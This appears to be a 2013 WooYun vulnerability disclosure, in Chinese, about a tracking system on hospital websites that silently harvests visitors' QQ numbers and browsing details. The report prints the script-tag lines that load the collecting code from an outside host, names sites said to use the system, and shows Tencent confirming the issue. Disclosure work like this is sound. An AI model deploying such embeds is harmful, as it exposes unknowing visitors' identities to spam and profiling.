当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045133

漏洞标题:获取访客QQ号码

相关厂商:腾讯

漏洞作者: 球球

提交时间:2013-12-06 15:39

修复时间:2014-01-20 15:40

公开时间:2014-01-20 15:40

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-06: 细节已通知厂商并且等待厂商处理中
2013-12-06: 厂商已经确认,细节仅向厂商公开
2013-12-16: 细节向核心白帽子及相关领域专家公开
2013-12-26: 细节向普通白帽子公开
2014-01-05: 细节向实习白帽子公开
2014-01-20: 细节向公众公开

简要描述:

在网站后台注入js代码,访客访问时就可以抓取到访客的qq号码和访问页面等 很详细的信息,全国这么多人每天浏览网站,在不知情的情况下就抓取我的qq号 ,然后联系,推销,发布垃圾信息广告等,尤其是医院

详细说明:

http://aligooo.x9.fjjsp.net 系统登录网址
这个是放入后台的代码
<script src="http://aligooo.x9.fjjsp.net/cp.cn?pm=c"></script>
document.writeln('<script src="http://aligooo.x9.fjjsp.net/cp.cn?pm=c"></script>');

QQ图片20131206152856.jpg

漏洞证明:

http://aligooo.x9.fjjsp.net 后台网站
后台页面

QQ图片20131206152856.jpg


后台抓取页面

QQ图片20131206152801.jpg


www.cdfk120.com 成都空军医院妇科 www.wujin120.com 武警辽宁省总队医院 www.mujin120 www.lvwsdq.com 天津乐园医院 www.hnav.net 湖南军区机关医院
这些医院网站都用了这个系统,访问网站就可以抓取到访问者的联系方式

修复方案:

希望尽快修复此类漏洞

版权声明:转载请注明来源 球球@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-12-06 16:43

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-12-21 11:35 | Mradxz ( 路人 | Rank:15 漏洞数:5 | 我是菜鸟我是菜鸟)

    qq拼音的吧

  2. 2013-12-27 08:23 | etcat ( 普通白帽子 | Rank:149 漏洞数:22 | 0101010101001010101010101010100101010101...)

    这也都可以 服了

  3. 2014-01-07 10:58 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    洞主,求个私信,联系下!搞基……

  4. 2014-02-13 15:20 | 红帽子 ( 路人 | Rank:21 漏洞数:2 | 白帽子,黑帽子,fedora是个坏帽子。)

    被洞主举报了。。。。